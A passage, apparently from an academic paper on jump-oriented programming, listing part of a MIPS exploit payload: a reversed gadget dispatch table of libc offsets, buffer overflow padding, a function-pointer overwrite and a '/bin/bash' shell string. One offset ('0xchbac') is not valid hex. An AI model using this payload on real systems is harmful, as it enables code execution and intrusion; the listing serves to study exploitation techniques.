50 g05: dd libc-gp+0x103d0c ; Pre-syscall gadget (same as initializer, see table for machine code)
51 g04: dd libc-gp+0x34b8c ; Gadget "g04" (see table above for machine code)
52 g03: dd libc-gp+0x7de0b0 ; Gadget: jalr t9 ; negu a1,s2
53 g02: dd libc-gp+0x6636c ; Gadget: lw s2,80(sp) ; jalr t9 ; move s6,a3
54 g01: dd libc-gp+0x13d394 ; Gadget: jr t9 ; addiu sp,sp,16
55 g00: dd libc-gp+0xchbac ; Gadget: jr t9 ; addiu sp,sp,96
56 g_start: ; Start of the dispatch table, which is in reverse order.
57
58 ; ===== OVERFLOW PADDING =====
59 times buffer_length - ($-$$) db ’x’ ; Pad to the end of the legal buffer
60
61 ; ===== FUNCTION POINTER OVERFLOW =====
62 dd initializer
63
64 ; ===== SHELL STRING =====
65 shell_path: db "/bin/bash"
66 db 0 ; End in NULL to finish the string overflow
References


